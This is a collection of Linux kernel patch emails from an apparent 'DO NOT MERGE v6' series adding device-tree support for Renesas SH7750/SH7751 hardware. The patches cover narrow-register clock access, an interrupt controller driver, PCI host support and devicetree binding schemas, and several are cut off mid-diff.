+  <0x540 IPRB IPR_B4>,  /* SCI TEI */
+  <0x560 IPRB IPR_B12>, /* WDT */
+  <0x580 IPRB IPR_B8>,  /* REF RCMI */
+  <0x5a0 IPRB IPR_B4>,  /* REF ROVI */
+  <0x600 IPRC IPR_B0>,  /* H-UDI */
+  <0x620 IPRC IPR_B12>, /* GPIO */
+  <0x640 IPRC IPR_B8>,  /* DMAC DMTE0 */
+  <0x660 IPRC IPR_B8>,  /* DMAC DMTE1 */
+  <0x680 IPRC IPR_B8>,  /* DMAC DMTE2 */
+  <0x6a0 IPRC IPR_B8>,  /* DMAC DMTE3 */
+  <0x6c0 IPRC IPR_B8>,  /* DMAC DMAE */
+  <0x700 IPRC IPR_B4>,  /* SCIF ERI */
+  <0x720 IPRC IPR_B4>,  /* SCIF RXI */
+  <0x740 IPRC IPR_B4>,  /* SCIF BRI */
+  <0x760 IPRC IPR_B4>,  /* SCIF TXI */
+  <0x780 IPRC IPR_B8>,  /* DMAC DMTE4 */
+  <0x7a0 IPRC IPR_B8>,  /* DMAC DMTE5 */
+  <0x7c0 IPRC IPR_B8>,  /* DMAC DMTE6 */
+  <0x7e0 IPRC IPR_B8>,  /* DMAC DMTE7 */
+  <0xa00 INTPRI00 IPR_B0>,  /* PCIC PCISERR */
+  <0xa20 INTPRI00 IPR_B4>,  /* PCIC PCIDMA3 */
+  <0xa40 INTPRI00 IPR_B4>,  /* PCIC PCIDMA2 */
+  <0xa60 INTPRI00 IPR_B4>,  /* PCIC PCIDMA1 */
+  <0xa80 INTPRI00 IPR_B4>,  /* PCIC PCIDMA0 */
+  <0xaa0 INTPRI00 IPR_B4>,  /* PCIC PCIPWON */
+  <0xac0 INTPRI00 IPR_B4>,  /* PCIC PCIPWDWN */
+  <0xae0 INTPRI00 IPR_B4>,  /* PCIC PCIERR */
+  <0xb00 INTPRI00 IPR_B8>,  /* TMU3 */
+  <0xb80 INTPRI00 IPR_B12>; /* TMU4 */
+ 

[DO NOT MERGE v6 14/37] clk: Compatible with narrow registers

[Yoshinori Sato]

divider and gate only support 32-bit registers.
Older hardware uses narrower registers, so I want to be able to handle
8-bit and 16-bit wide registers.

Seven clk_divider flags are used, and if I add flags for 8bit access and
16bit access, 8bit will not be enough, so I expanded it to u16.

Signed-off-by: Yoshinori Sato 
---
 drivers/clk/clk-divider.c| 56 
 drivers/clk/clk-gate.c   | 56 +++-
 include/linux/clk-provider.h | 22 ++
 3 files changed, 97 insertions(+), 37 deletions(-)

diff --git a/drivers/clk/clk-divider.c b/drivers/clk/clk-divider.c
index a2c2b5203b0a..a1b5187cd63d 100644
--- a/drivers/clk/clk-divider.c
+++ b/drivers/clk/clk-divider.c
@@ -26,20 +26,38 @@
  * parent - fixed parent.  No clk_set_parent support
  */
 
-static inline u32 clk_div_readl(struct clk_divider *divider)
-{
-   if (divider->flags & CLK_DIVIDER_BIG_ENDIAN)
-   return ioread32be(divider->reg);
-
-   return readl(divider->reg);
+static inline u32 clk_div_read(struct clk_divider *divider)
+{
+   if (divider->flags & CLK_DIVIDER_REG_8BIT)
+   return readb(divider->reg);
+   else if (divider->flags & CLK_DIVIDER_REG_16BIT) {
+   if (divider->flags & CLK_DIVIDER_BIG_ENDIAN)
+   return ioread16be(divider->reg);
+   else
+   return readw(divider->reg);
+   } else {
+   if (divider->flags & CLK_DIVIDER_BIG_ENDIAN)
+   return ioread32be(divider->reg);
+   else
+   return readl(divider->reg);
+   }
 }
 
-static inline void clk_div_writel(struct clk_divider *divider, u32 val)
+static inline void clk_div_write(struct clk_divider *divider, u32 val)
 {
-   if (divider->flags & CLK_DIVIDER_BIG_ENDIAN)
-   iowrite32be(val, divider->reg);
-   else
-   writel(val, divider->reg);
+   if (divider->flags & CLK_DIVIDER_REG_8BIT)
+   writeb(val, divider->reg);
+   else if (divider->flags & CLK_DIVIDER_REG_16BIT) {
+   if (divider->flags & CLK_DIVIDER_BIG_ENDIAN)
+   iowrite16be(val, divider->reg);
+   else
+   writew(val, divider->reg);
+   } else {
+   if (divider->flags & CLK_DIVIDER_BIG_ENDIAN)
+   iowrite32be(val, divider->reg);
+   else
+   writel(val, divider->reg);
+   }
 }
 
 static unsigned int _get_table_maxdiv(const struct clk_div_table *table,
@@ -152,7 +170,7 @@ static unsigned long clk_divider_recalc_rate(struct clk_hw 
*hw,
struct clk_divider *divider = to_clk_divider(hw);
unsigned int val;
 
-   val = clk_div_readl(divider) >> divider->shift;
+   val = clk_div_read(divider) >> divider->shift;
val &= clk_div_mask(divider->width);
 
return divider_recalc_rate(hw, parent_rate, val, divider->table,
@@ -434,7 +452,7 @@ static long clk_divider_round_rate(struct clk_hw *hw, 
unsigned long rate,
if (divider->flags & CLK_DIVIDER_READ_ONLY) {
u32 val;
 
-   val = clk_div_readl(divider) >> divider->shift;
+   val = clk_div_read(divider) >> divider->shift;
val &= clk_div_mask(divider->width);
 
return divider_ro_round_rate(hw, rate, prate, divider->table,
@@ -455,7 +473,7 @@ static int clk_divider_determine_rate(struct clk_hw *hw,
if (divider->flags & CLK_DIVIDER_READ_ONLY) {
u32 val;
 
-   val = clk_div_readl(divider) >> divider->shift;
+   val = clk_div_read(divider) >> divider->shift;
val &= clk_div_mask(divider->width);
 
return divider_ro_determine_rate(hw, req, divider->table,
@@ -505,11 +523,11 @@ static int clk_divider_set_rate(struct clk_hw *hw, 
unsigned long rate,
if (divider->flags & CLK_DIVIDER_HIWORD_MASK) {
val = clk_div_mask(divider->width) << (divider->shift + 16);
} else {
-   val = clk_div_readl(divider);
+   val = clk_div_read(divider);
val &= ~(clk_div_mask(divider->width) << divider->shift);
}
val |= (u32)value << divider->shift;
-   clk_div_writel(divider, val);
+   clk_div_write(divider, val);
 
if (divider->lock)
spin_unlock_irqrestore(divider->lock, flags);
@@ -538,7 +556,7 @@ struct clk_hw *__clk_hw_register_divider(struct device *dev,
struct device_node *np, const char *name,
const char *parent_name, const struct clk_hw *parent_hw,
const struct clk_parent_data *parent_data, unsigned long flags,
-   void __iomem *reg, u8 shift, u8 width, u8 clk_divider_flags,
+   void __iomem *reg, u8 shift, u8 width, u32 clk_divider_flags,
const struct clk_div_table *table, spinlock_t 

[DO NOT MERGE v6 16/37] irqchip: Add SH7751 INTC driver

[Yoshinori Sato]

Renesas SH7751 Internal interrupt controller driver.

Signed-off-by: Yoshinori Sato 
---
 drivers/irqchip/Kconfig  |   8 +
 drivers/irqchip/Makefile |   1 +
 drivers/irqchip/irq-renesas-sh7751.c | 313 +++
 3 files changed, 322 insertions(+)
 create mode 100644 drivers/irqchip/irq-renesas-sh7751.c

diff --git a/drivers/irqchip/Kconfig b/drivers/irqchip/Kconfig
index f7149d0f3d45..658523f65b1d 100644
--- a/drivers/irqchip/Kconfig
+++ b/drivers/irqchip/Kconfig
@@ -679,4 +679,12 @@ config SUNPLUS_SP7021_INTC
  chained controller, routing all interrupt source in P-Chip to
  the primary controller on C-Chip.
 
+config RENESAS_SH7751_INTC
+   bool "Renesas SH7751 Interrupt Controller"
+   depends on SH_DEVICE_TREE || COMPILE_TEST
+   select IRQ_DOMAIN_HIERARCHY
+   help
+ Support for the Renesas SH7751 On-chip interrupt controller.
+ And external interrupt encoder for some targets.
+
 endmenu
diff --git a/drivers/irqchip/Makefile b/drivers/irqchip/Makefile
index ffd945fe71aa..26c91d075e25 100644
--- a/drivers/irqchip/Makefile
+++ b/drivers/irqchip/Makefile
@@ -120,3 +120,4 @@ obj-$(CONFIG_IRQ_IDT3243X)  += irq-idt3243x.o
 obj-$(CONFIG_APPLE_AIC)+= irq-apple-aic.o
 obj-$(CONFIG_MCHP_EIC) += irq-mchp-eic.o
 obj-$(CONFIG_SUNPLUS_SP7021_INTC)  += irq-sp7021-intc.o
+obj-$(CONFIG_RENESAS_SH7751_INTC)  += irq-renesas-sh7751.o
diff --git a/drivers/irqchip/irq-renesas-sh7751.c 
b/drivers/irqchip/irq-renesas-sh7751.c
new file mode 100644
index ..9e5337f793c8
--- /dev/null
+++ b/drivers/irqchip/irq-renesas-sh7751.c
@@ -0,0 +1,313 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Renesas SH7751 interrupt controller driver
+ *
+ * Copyright 2023 Yoshinori Sato 
+ */
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+struct ipr {
+   unsigned int off;
+   unsigned int idx;
+};
+
+struct sh7751_intc_priv {
+   void __iomem *base;
+   void __iomem *intpri00;
+   struct ipr   *iprmap[2];
+   bool irlm;
+};
+
+enum {
+   R_ICR = 0x00,
+   R_IPR = 0x04,
+   R_INTPRI00= 0x00,
+   R_INTREQ00= 0x20,
+   R_INTMSK00= 0x40,
+   R_INTMSKCLR00 = 0x60,
+};
+
+#define ICR_IRLM BIT(7)
+
+/*
+ * SH7751 IRQ mapping
+ *  IRQ16 - 63: Group0 - IPRA to IPRD
+ *   IRQ16 - 31: external IRL input (ICR.IRLM is 0)
+ *  IRQ80 - 92: Group1 - INTPRI00
+ */
+#define IRQ_START  16
+#define MAX_IRL(IRQ_START + NR_IRL)
+#define GRP0_IRQ_END   63
+#define GRP1_IRQ_START 80
+#define IRQ_END92
+
+#define NR_IPRMAP0 (GRP0_IRQ_END - IRQ_START + 1)
+#define NR_IPRMAP1 (IRQ_END - GRP1_IRQ_START)
+#define IPR_PRI_MASK   0x000f
+
+/*
+ * IPR registers have 4bit priority x 4 entry (16bits)
+ */
+static void update_ipr(struct sh7751_intc_priv *priv, unsigned int irq, u16 
pri)
+{
+   struct ipr *ipr = NULL;
+   void __iomem *ipr_base;
+   unsigned int offset;
+   u16 mask;
+
+   if (irq < GRP1_IRQ_START) {
+   /* Group0 */
+   ipr = priv->iprmap[0];
+   ipr += irq - IRQ_START;
+   ipr_base = priv->base + R_IPR;
+   offset = ipr->off;
+   } else {
+   /* Group1 */
+   ipr = priv->iprmap[1];
+   ipr += irq - GRP1_IRQ_START;
+   ipr_base = priv->intpri00;
+   offset = ipr->off - INTPRI00;
+   }
+   if (ipr->off != ~0) {
+   mask = ~(IPR_PRI_MASK << ipr->idx);
+   pri = (pri & IPR_PRI_MASK) << ipr->idx;
+   mask &= __raw_readw(ipr_base + offset);
+   __raw_writew(mask | pri, ipr_base + offset);
+   } else {
+   pr_warn_once("%s: undefined IPR in irq %u\n", __FILE__, irq);
+   }
+}
+
+static inline bool is_valid_irq(unsigned int irq)
+{
+   /* IRQ16 - 63 */
+   if (irq >= IRQ_START && irq < IRQ_START + NR_IPRMAP0)
+   return true;
+   /* IRQ80 - 92 */
+   if (irq >= GRP1_IRQ_START && irq <= IRQ_END)
+   return true;
+   return false;
+}
+
+static inline struct sh7751_intc_priv *irq_data_to_priv(struct irq_data *data)
+{
+   return data->domain->host_data;
+}
+
+/* Interrupt unmask priority is 1, mask priority is 0 */
+#define PRI_ENABLE  1
+#define PRI_DISABLE 0
+static void endisable_irq(struct irq_data *data, bool enable)
+{
+   struct sh7751_intc_priv *priv;
+   unsigned int irq;
+
+   priv = irq_data_to_priv(data);
+
+   irq = irqd_to_hwirq(data);
+   if (!is_valid_irq(irq)) {
+   /* IRQ out of range */
+   pr_warn_once("%s: IRQ %u is out of range\n", __FILE__, irq);
+   return;
+   }
+
+   if (irq <= MAX_IRL && !priv->irlm) {
+   /* IRL encoded external interrupt */
+   /* enable and disable from SR.IMASK 

[DO NOT MERGE v6 10/37] sh: Common PCI Framework driver support.

[Yoshinori Sato]

Add New OF based PCI Host driver.
This driver conflicts some point in legacy PCI driver.
To resolve the conflict, I made some changes to the legacy driver.

Signed-off-by: Yoshinori Sato 
---
 arch/sh/include/asm/io.h  |  6 ++
 arch/sh/include/asm/pci.h |  4 
 arch/sh/kernel/iomap.c| 18 ++
 3 files changed, 28 insertions(+)

diff --git a/arch/sh/include/asm/io.h b/arch/sh/include/asm/io.h
index 5429b4169dc8..51312f356fb9 100644
--- a/arch/sh/include/asm/io.h
+++ b/arch/sh/include/asm/io.h
@@ -20,6 +20,7 @@
 #include 
 #include 
 #include 
+#include 
 
 #define __IO_PREFIX generic
 #include 
@@ -319,4 +320,9 @@ unsigned long long poke_real_address_q(unsigned long long 
addr,
 int valid_phys_addr_range(phys_addr_t addr, size_t size);
 int valid_mmap_phys_addr_range(unsigned long pfn, size_t size);
 
+#if defined(CONFIG_PCI) && !defined(CONFIG_GENERIC_IOMAP)
+#define pci_remap_iospace pci_remap_iospace
+int pci_remap_iospace(const struct resource *res, phys_addr_t phys_addr);
+#endif
+
 #endif /* __ASM_SH_IO_H */
diff --git a/arch/sh/include/asm/pci.h b/arch/sh/include/asm/pci.h
index 54c30126ea17..92b3bd604319 100644
--- a/arch/sh/include/asm/pci.h
+++ b/arch/sh/include/asm/pci.h
@@ -2,6 +2,7 @@
 #ifndef __ASM_SH_PCI_H
 #define __ASM_SH_PCI_H
 
+#ifndef CONFIG_SH_DEVICE_TREE
 /* Can be used to override the logic in pci_scan_bus for skipping
already-configured bus numbers - to be used for buggy BIOSes
or architectures with incomplete PCI setup by the loader */
@@ -88,4 +89,7 @@ static inline int pci_proc_domain(struct pci_bus *bus)
return hose->need_domain_info;
 }
 
+#else /* CONFIG_SH_DEVICE_TREE */
+#include 
+#endif
 #endif /* __ASM_SH_PCI_H */
diff --git a/arch/sh/kernel/iomap.c b/arch/sh/kernel/iomap.c
index 0a0dff4e66de..968b15868d9a 100644
--- a/arch/sh/kernel/iomap.c
+++ b/arch/sh/kernel/iomap.c
@@ -160,3 +160,21 @@ void iowrite32_rep(void __iomem *addr, const void *src, 
unsigned long count)
mmio_outsl(addr, src, count);
 }
 EXPORT_SYMBOL(iowrite32_rep);
+
+#if defined(CONFIG_PCI) && !defined(CONFIG_GENERIC_IOMAP)
+int pci_remap_iospace(const struct resource *res, phys_addr_t phys_addr)
+{
+   unsigned long vaddr = res->start;
+
+   if (!(res->flags & IORESOURCE_IO))
+   return -EINVAL;
+
+   if (res->end > IO_SPACE_LIMIT)
+   return -EINVAL;
+
+   __set_io_port_base(phys_addr);
+   return ioremap_page_range(vaddr, vaddr + resource_size(res), phys_addr,
+ pgprot_device(PAGE_KERNEL));
+}
+EXPORT_SYMBOL(pci_remap_iospace);
+#endif
-- 
2.39.2

[DO NOT MERGE v6 13/37] dt-bindings: clock: sh7750-cpg: Add renesas, sh7750-cpg header.

[Yoshinori Sato]

SH7750 CPG Clock output define.

Signed-off-by: Yoshinori Sato 
---
 .../bindings/clock/renesas,sh7750-cpg.yaml| 103 ++
 include/dt-bindings/clock/sh7750-cpg.h|  26 +
 2 files changed, 129 insertions(+)
 create mode 100644 
Documentation/devicetree/bindings/clock/renesas,sh7750-cpg.yaml
 create mode 100644 include/dt-bindings/clock/sh7750-cpg.h

diff --git a/Documentation/devicetree/bindings/clock/renesas,sh7750-cpg.yaml 
b/Documentation/devicetree/bindings/clock/renesas,sh7750-cpg.yaml
new file mode 100644
index ..da0b837c1123
--- /dev/null
+++ b/Documentation/devicetree/bindings/clock/renesas,sh7750-cpg.yaml
@@ -0,0 +1,103 @@
+# SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
+%YAML 1.2
+---
+$id: http://devicetree.org/schemas/clock/renesas,sh7750-cpg.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Renesas SH7750/7751 Clock Pulse Generator (CPG)
+
+maintainers:
+  - Yoshinori Sato 
+
+description:
+  The Clock Pulse Generator (CPG) generates core clocks for the SoC.  It
+  includes PLLs, and variable ratio dividers.
+
+  The CPG may also provide a Clock Domain for SoC devices, in combination with
+  the CPG Module Stop (MSTP) Clocks.
+
+properties:
+  compatible:
+enum:
+  - renesas,sh7750-cpg # SH7750
+  - renesas,sh7750s-cpg# SH775S
+  - renesas,sh7750r-cpg# SH7750R
+  - renesas,sh7751-cpg # SH7751
+  - renesas,sh7751r-cpg# SH7751R
+
+  reg: true
+
+  reg-names: true
+
+  clocks: true
+
+  clock-names: true
+
+  '#clock-cells':
+const: 1
+
+  renesas,mode:
+description: Board-specific settings of the MD[0-2] pins on SoC
+$ref: /schemas/types.yaml#/definitions/uint32
+minimum: 0
+maximum: 6
+
+  '#power-domain-cells':
+const: 0
+
+required:
+  - compatible
+  - reg
+  - reg-names
+  - clocks
+  - clock-names
+  - '#clock-cells'
+
+allOf:
+  - if:
+  properties:
+compatible:
+  contains:
+enum:
+  - renesas,sh7750-cpg
+  - renesas,sh7750s-cpg
+then:
+  properties:
+reg:
+  maxItems: 1
+reg-names:
+  items:
+- const: FRQCR
+
+  - if:
+  properties:
+compatible:
+  contains:
+enum:
+  - renesas,sh7750r-cpg
+  - renesas,sh7751-cpg
+  - renesas,sh7751r-cpg
+then:
+  properties:
+reg:
+  maxItems: 2
+reg-names:
+  items:
+- const: FRQCR
+- const: CLKSTP00
+
+additionalProperties: false
+
+examples:
+  - |
+#include 
+cpg: clock-controller@ffc0 {
+#clock-cells = <1>;
+#power-domain-cells = <0>;
+compatible = "renesas,sh7751r-cpg";
+clocks = <>;
+clock-names = "xtal";
+reg = <0xffc0 20>, <0xfe0a 16>;
+reg-names = "FRQCR", "CLKSTP00";
+renesas,mode = <0>;
+};
diff --git a/include/dt-bindings/clock/sh7750-cpg.h 
b/include/dt-bindings/clock/sh7750-cpg.h
new file mode 100644
index ..17d5a8076aac
--- /dev/null
+++ b/include/dt-bindings/clock/sh7750-cpg.h
@@ -0,0 +1,26 @@
+/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
+ *
+ * Copyright 2023 Yoshinori Sato
+ */
+
+#ifndef __DT_BINDINGS_CLOCK_SH7750_H__
+#define __DT_BINDINGS_CLOCK_SH7750_H__
+
+#define SH7750_CPG_PLLOUT  0
+
+#define SH7750_CPG_FCK 1
+#define SH7750_CPG_BCK 2
+#define SH7750_CPG_ICK 3
+
+#define SH7750_MSTP_SCI4
+#define SH7750_MSTP_RTC5
+#define SH7750_MSTP_TMU012 6
+#define SH7750_MSTP_SCIF   7
+#define SH7750_MSTP_DMAC   8
+#define SH7750_MSTP_UBC9
+#define SH7750_MSTP_SQ 10
+#define SH7750_CSTP_INTC   11
+#define SH7750_CSTP_TMU34  12
+#define SH7750_CSTP_PCIC   13
+
+#endif
-- 
2.39.2

[DO NOT MERGE v6 12/37] dt-bindings: pci: pci-sh7751: Add SH7751 PCI

[Yoshinori Sato]

Renesas SH7751 PCI Controller json-schema.

Signed-off-by: Yoshinori Sato 
---
 .../bindings/pci/renesas,sh7751-pci.yaml  | 150 ++
 1 file changed, 150 insertions(+)
 create mode 100644 
Documentation/devicetree/bindings/pci/renesas,sh7751-pci.yaml

diff --git a/Documentation/devicetree/bindings/pci/renesas,sh7751-pci.yaml 
b/Documentation/devicetree/bindings/pci/renesas,sh7751-pci.yaml
new file mode 100644
index ..45e5a19e7d0f
--- /dev/null
+++ b/Documentation/devicetree/bindings/pci/renesas,sh7751-pci.yaml
@@ -0,0 +1,150 @@
+# SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
+%YAML 1.2
+---
+$id: http://devicetree.org/schemas/pci/renesas,sh7751-pci.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Renesas SH7751 PCI Host controller
+
+maintainers:
+  - Yoshinori Sato 
+
+allOf:
+  - $ref: /schemas/pci/pci-bus.yaml#
+
+properties:
+  compatible:
+const: renesas,sh7751-pci
+
+  reg:
+minItems: 2
+maxItems: 2
+
+  reg-names:
+items:
+  - const: PCI Controller
+  - const: Bus State Controller
+
+  "#interrupt-cells":
+const: 1
+
+  "#address-cells":
+const: 3
+
+  "#size-cells":
+const: 2
+
+  ranges: true
+
+  dma-ranges: true
+
+  interrupt-controller: true
+
+  renesas,bus-arbit-round-robin:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set DMA bus arbitration to round robin.
+
+  pci-command-reg-fast-back-to-back:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI command register Fast Back-to-Back enable bit.
+
+  pci-command-reg-serr:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI command register SERR# enable.
+
+  pci-command-reg-wait-cycle-control:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI command register Wait cycle control bit.
+
+  pci-command-reg-parity-error-response:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register Parity error response bit.
+
+  pci-command-reg-vga-snoop:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register VGA palette snoop bit.
+
+  pci-command-reg-write-invalidate:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register Memory write and invaldate enable bit.
+
+  pci-command-reg-special-cycle:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register Special cycle bit.
+
+  pci-command-reg-bus-master:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register Bus master bit.
+
+  pci-command-reg-memory-space:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register Memory space bit.
+
+  pci-command-reg-io-space:
+$ref: /schemas/types.yaml#/definitions/flag
+description: |
+  Set for PCI Command register I/O space bit.
+
+  pci-bar:
+$ref: /schemas/types.yaml#/definitions/uint32-matrix
+description: Overwrite to  PCI CONFIG Base Address Registers value.
+items:
+  items:
+- description: BAR register number
+- description: BAR register value
+minItems: 1
+maxItems: 6
+
+required:
+  - compatible
+  - reg
+  - "#interrupt-cells"
+  - "#address-cells"
+  - "#size-cells"
+  - ranges
+  - interrupt-map
+  - interrupt-map-mask
+
+unevaluatedProperties: false
+
+examples:
+  - |
+pci@fe20 {
+compatible = "renesas,sh7751-pci";
+#address-cells = <3>;
+#size-cells = <2>;
+#interrupt-cells = <1>;
+interrupt-controller;
+device_type = "pci";
+bus-range = <0 0>;
+ranges = <0x0200 0 0xfd00 0xfd00 0 0x0100>,
+ <0x0100 0 0x 0xfe24 0 0x0004>;
+dma-ranges = <0x0200 0 0xc00 0x0c00 0 0x0400>;
+reg = <0xfe20 0x0400>,
+  <0xff80 0x0100>;
+interrupt-map = <0x 0 0 1  5>,
+<0x 0 0 2  6>,
+<0x 0 0 3  7>,
+<0x 0 0 4  8>,
+<0x0800 0 0 1  6>,
+<0x0800 0 0 2  7>,
+<0x0800 0 0 3  8>,
+<0x0800 0 0 4  5>,
+<0x1000 0 0 1  7>,
+<0x1000 0 0 2  8>,
+<0x1000 0 0 3  5>,
+<0x1000 0 0 4  6>;
+pci-bar = <0 0xab01>, <2 0xd000>;
+pci-command-reg-io-space;
+interrupt-map-mask = <0x1800 0 0 7>;
+};
-- 
2.39.2

[DO NOT MERGE v6 11/37] pci: pci-sh7751: Add SH7751 PCI driver

[Yoshinori Sato]

Renesas SH7751 CPU Internal PCI Controller driver.

Signed-off-by: Yoshinori Sato 
---
 drivers/pci/controller/Kconfig  |   9 +
 drivers/pci/controller/Makefile |   1 +
 drivers/pci/controller/pci-sh7751.c | 392 
 3 files changed, 402 insertions(+)
 create mode 100644 drivers/pci/controller/pci-sh7751.c

diff --git a/drivers/pci/controller/Kconfig b/drivers/pci/controller/Kconfig
index e534c02ee34f..a2fd917a2e03 100644
--- a/drivers/pci/controller/Kconfig
+++ b/drivers/pci/controller/Kconfig
@@ -353,6 +353,15 @@ config PCIE_XILINX_CPM
  Say 'Y' here if you want kernel support for the
  Xilinx Versal CPM host bridge.
 
+config PCI_SH7751
+   bool "Renesas SH7751 PCI controller"
+   depends on OF
+   depends on CPU_SUBTYPE_SH7751 || CPU_SUBTYPE_SH7751R || COMPILE_TEST
+   select PCI_HOST_COMMON
+   help
+ Say 'Y' here if you want kernel to support the Renesas SH7751 PCI
+ Host Bridge driver.
+
 source "drivers/pci/controller/cadence/Kconfig"
 source "drivers/pci/controller/dwc/Kconfig"
 source "drivers/pci/controller/mobiveil/Kconfig"
diff --git a/drivers/pci/controller/Makefile b/drivers/pci/controller/Makefile
index f2b19e6174af..aa97e5d74e58 100644
--- a/drivers/pci/controller/Makefile
+++ b/drivers/pci/controller/Makefile
@@ -40,6 +40,7 @@ obj-$(CONFIG_PCI_LOONGSON) += pci-loongson.o
 obj-$(CONFIG_PCIE_HISI_ERR) += pcie-hisi-error.o
 obj-$(CONFIG_PCIE_APPLE) += pcie-apple.o
 obj-$(CONFIG_PCIE_MT7621) += pcie-mt7621.o
+obj-$(CONFIG_PCI_SH7751) += pci-sh7751.o
 
 # pcie-hisi.o quirks are needed even without CONFIG_PCIE_DW
 obj-y  += dwc/
diff --git a/drivers/pci/controller/pci-sh7751.c 
b/drivers/pci/controller/pci-sh7751.c
new file mode 100644
index ..ed3de9b35835
--- /dev/null
+++ b/drivers/pci/controller/pci-sh7751.c
@@ -0,0 +1,392 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * SH7751 PCI driver
+ * Copyright (C) 2023 Yoshinori Sato
+ */
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+/* PCICR and PCICLKCR write enable magic key */
+#define PCIC_WE_KEY(0xa5 << 24)
+
+/* PCIC registers */
+/* 0x - 0x00ff mapped to PCI device configuration space */
+#define PCIC_PCICR 0x100   /* PCI Control Register */
+#define PCIC_PCICR_TRSBBIT(9)  /* Target Read Single */
+#define PCIC_PCICR_BSWPBIT(8)  /* Target Byte Swap */
+#define PCIC_PCICR_PLUPBIT(7)  /* Enable PCI Pullup */
+#define PCIC_PCICR_ARBMBIT(6)  /* PCI Arbitration Mode */
+#define PCIC_PCICR_MD10BIT(5)  /* MD10 status */
+#define PCIC_PCICR_MD9 BIT(4)  /* MD9 status */
+#define PCIC_PCICR_SERRBIT(3)  /* SERR output assert */
+#define PCIC_PCICR_INTABIT(2)  /* INTA output assert */
+#define PCIC_PCICR_PRSTBIT(1)  /* PCI Reset Assert */
+#define PCIC_PCICR_CFINBIT(0)  /* Central Fun. Init Done */
+
+#define PCIC_PCILSR0   0x104   /* PCI Local Space Register0 */
+#define PCIC_PCILSR1   0x108   /* PCI Local Space Register1 */
+#define PCIC_PCILAR0   0x10c   /* PCI Local Addr Register1 */
+#define PCIC_PCILAR1   0x110   /* PCI Local Addr Register1 */
+#define PCIC_PCIINT0x114   /* PCI Interrupt Register */
+#define PCIC_PCIINTM   0x118   /* PCI Interrupt Mask */
+#define PCIC_PCIALR0x11c   /* Error Address Register */
+#define PCIC_PCICLR0x120   /* Error Command/Data */
+#define PCIC_PCIAINT   0x130   /* Arbiter Interrupt Register */
+#define PCIC_PCIAINTM  0x134   /* Arbiter Int. Mask Register */
+#define PCIC_PCIBMLR   0x138   /* Error Bus Master Register */
+#define PCIC_PCIDMABT  0x140   /* DMA Transfer Arb. Register */
+#define PCIC_PCIPAR0x1c0   /* PIO Address Register */
+#define PCIC_PCIMBR0x1c4   /* Memory Base Address */
+#define PCIC_PCIIOBR   0x1c8   /* I/O Base Address Register */
+
+#define PCIC_PCIPINT   0x1cc   /* Power Mgmnt Int. Register */
+#define PCIC_PCIPINT_D3BIT(1)  /* D3 Pwr Mgmt. Interrupt */
+#define PCIC_PCIPINT_D0BIT(0)  /* D0 Pwr Mgmt. Interrupt */
+
+#define PCIC_PCIPINTM  0x1d0   /* Power Mgmnt Mask Register */
+#define PCIC_PCICLKR   0x1d4   /* Clock Ctrl. Register */
+#define PCIC_PCIBCR1   0x1e0   /* Memory BCR1 Register */
+#define PCIC_PCIBCR2   0x1e4   /* Memory BCR2 Register */
+#define PCIC_PCIWCR1   0x1e8   /* Wait Control 1 Register */
+#define PCIC_PCIWCR2   0x1ec   /* Wait Control 2 Register */
+#define PCIC_PCIWCR3   0x1f0   /* Wait Control 3 Register */
+#define PCIC_PCIMCR0x1f4   /* Memory Control Register */
+#define PCIC_PCIBCR3   0x1f8   /* Memory BCR3 Register */
+#define 

[DO NOT MERGE v6 09/37] dt-bindings: timer: renesas, tmu: add renesas, tmu-sh7750

[Yoshinori Sato]

Add SH7750 TMU entry.

I wanted to replace interrupts and interrupt-names in the if compatible is
"renesas,tmu-7750", but it seems that I can't rewrite it as expected.
This resulted in a redundant conditional statement.

Signed-off-by: Yoshinori Sato 
---
 .../bindings/timer/renesas,tmu.yaml   | 67 ++-
 1 file changed, 51 insertions(+), 16 deletions(-)

diff --git a/Documentation/devicetree/bindings/timer/renesas,tmu.yaml 
b/Documentation/devicetree/bindings/timer/renesas,tmu.yaml
index a67e427a9e7e..bcdd40a13ea4 100644
--- a/Documentation/devicetree/bindings/timer/renesas,tmu.yaml
+++ b/Documentation/devicetree/bindings/timer/renesas,tmu.yaml
@@ -39,14 +39,15 @@ properties:
   - renesas,tmu-r8a779a0 # R-Car V3U
   - renesas,tmu-r8a779f0 # R-Car S4-8
   - renesas,tmu-r8a779g0 # R-Car V4H
+  - renesas,tmu-sh7750   # SH7750
   - const: renesas,tmu
 
   reg:
 maxItems: 1
 
-  interrupts:
-minItems: 2
-maxItems: 3
+  interrupts: true
+
+  interrupt-names: true
 
   clocks:
 maxItems: 1
@@ -75,21 +76,55 @@ required:
   - clock-names
   - power-domains
 
-if:
-  not:
-properties:
-  compatible:
-contains:
-  enum:
-- renesas,tmu-r8a7740
-- renesas,tmu-r8a7778
-- renesas,tmu-r8a7779
-then:
-  required:
-- resets
-
 additionalProperties: false
 
+allOf:
+  - if:
+  not:
+properties:
+  compatible:
+contains:
+  enum:
+- renesas,tmu-r8a7740
+- renesas,tmu-r8a7778
+- renesas,tmu-r8a7779
+- renesas,tmu-sh7750
+
+then:
+  required:
+- resets
+
+  - if:
+  not:
+properties:
+  compatible:
+contains:
+  enum:
+- renesas,tmu-sh7750
+
+then:
+  properties:
+interrupts:
+  minItems: 2
+  maxItems: 3
+interrupt-names:
+  items:
